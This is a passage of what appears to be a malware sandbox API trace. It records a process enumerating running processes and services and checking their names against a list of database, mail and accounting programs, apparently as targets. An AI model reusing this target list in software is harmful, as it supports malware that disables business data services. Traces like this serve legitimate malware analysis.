Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.358] lstrlenW (lpString="svchost.exe") returned 11 [0259.358] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0259.359] lstrlenW (lpString="userinit.exe") returned 12 [0259.359] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.359] lstrlenW (lpString="dwm.exe") returned 7 [0259.359] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.359] lstrlenW (lpString="explorer.exe") returned 12 [0259.359] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.360] lstrlenW (lpString="spoolsv.exe") returned 11 [0259.360] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.360] lstrlenW (lpString="taskhost.exe") returned 12 [0259.360] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.360] lstrlenW (lpString="svchost.exe") returned 11 [0259.360] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0259.361] lstrlenW (lpString="uyuquk.exe") returned 10 [0259.361] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0259.361] lstrlenW (lpString="reader_sl.exe") returned 13 [0259.361] Process32NextW (in: hSnapshot=0x3c0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0259.361] CloseHandle (hObject=0x3c0) returned 1 [0259.361] Sleep (dwMilliseconds=0x1f4) [0260.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aebc0 [0261.024] EnumServicesStatusExW (in: hSCManager=0x42aebc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0261.024] GetLastError () returned 0xea [0261.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x5a9210 [0261.025] EnumServicesStatusExW (in: hSCManager=0x42aebc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a9210, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a9210, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0261.025] CloseServiceHandle (hSCObject=0x42aebc0) returned 1 [0261.025] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.025] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.025] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.025] lstrlenW (lpString="AudioSrv") returned 8 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0261.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0261.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0261.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0261.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0261.026] lstrlenW (lpString="BFE") returned 3 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.026] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.026] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.026] lstrlenW (lpString="CryptSvc") returned 8 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.026] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.026] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.026] lstrlenW (lpString="CscService") returned 10 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0261.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0261.026] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0261.026] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0261.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0261.026] lstrlenW (lpString="DcomLaunch") returned 10 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.026] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.026] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.026] lstrlenW (lpString="Dhcp") returned 4 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.026] lstrlenW (lpString="Dnscache") returned 8 [0261.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.027] lstrlenW (lpString="DPS") returned 3 [0261.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.027] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.027] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.027] lstrlenW (lpString="eventlog") returned 8 [0261.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0261.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0261.027] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0261.027] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0261.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0261.027] lstrlenW (lpString="EventSystem") returned 11 [0261.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.027] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.027] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.027] lstrlenW (lpString="gpsvc") returned 5 [0261.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.027] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.027] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.027] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.027] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.027] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.027] lstrlenW (lpString="lmhosts") returned 7 [0261.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.028] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.028] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.028] lstrlenW (lpString="MMCSS") returned 5 [0261.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0261.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0261.028] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0261.028] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0261.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0261.028] lstrlenW (lpString="MpsSvc") returned 6 [0261.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.028] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.028] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.028] lstrlenW (lpString="NlaSvc") returned 6 [0261.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.028] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.028] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.028] lstrlenW (lpString="nsi") returned 3 [0261.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.028] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.028] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0261.028] lstrlenW (lpString="PcaSvc") returned 6 [0261.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.028] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.028] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.028] lstrlenW (lpString="PlugPlay") returned 8 [0261.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.029] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.029] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.029] lstrlenW (lpString="Power") returned 5 [0261.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.029] lstrlenW (lpString="ProfSvc") returned 7 [0261.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.029] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.029] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.029] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.029] lstrlenW (lpString="RpcSs") returned 5 [0261.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.029] lstrlenW (lpString="SamSs") returned 5 [0261.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.029] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.029] lstrlenW (lpString="Schedule") returned 8 [0261.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.030] lstrlenW (lpString="SENS") returned 4 [0261.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.030] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.030] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.030] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.030] lstrlenW (lpString="Spooler") returned 7 [0261.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.030] lstrlenW (lpString="SysMain") returned 7 [0261.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.030] lstrlenW (lpString="Themes") returned 6 [0261.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0261.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0261.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0261.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0261.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0261.030] lstrlenW (lpString="TrkWks") returned 6 [0261.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0261.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0261.031] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0261.031] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0261.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0261.031] lstrlenW (lpString="UxSms") returned 5 [0261.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0261.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0261.031] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0261.031] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0261.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0261.031] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5a9210 | out: hHeap=0x530000) returned 1 [0261.031] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0261.034] Process32FirstW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.035] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.035] lstrlenW (lpString="System") returned 6 [0261.035] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0261.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0261.035] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0261.035] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0261.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0261.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0261.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0261.035] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.035] lstrlenW (lpString="smss.exe") returned 8 [0261.035] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0261.035] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0261.035] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0261.035] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0261.035] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0261.035] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0261.035] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0261.036] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.036] lstrlenW (lpString="csrss.exe") returned 9 [0261.036] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0261.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0261.036] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0261.036] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0261.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0261.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0261.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0261.036] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.036] lstrlenW (lpString="wininit.exe") returned 11 [0261.036] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0261.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0261.036] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0261.036] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0261.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0261.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0261.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0261.036] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.037] lstrlenW (lpString="csrss.exe") returned 9 [0261.037] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0261.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0261.037] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0261.037] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0261.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0261.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0261.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0261.037] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.037] lstrlenW (lpString="winlogon.exe") returned 12 [0261.037] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0261.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0261.037] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0261.037] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0261.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0261.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0261.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0261.037] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, 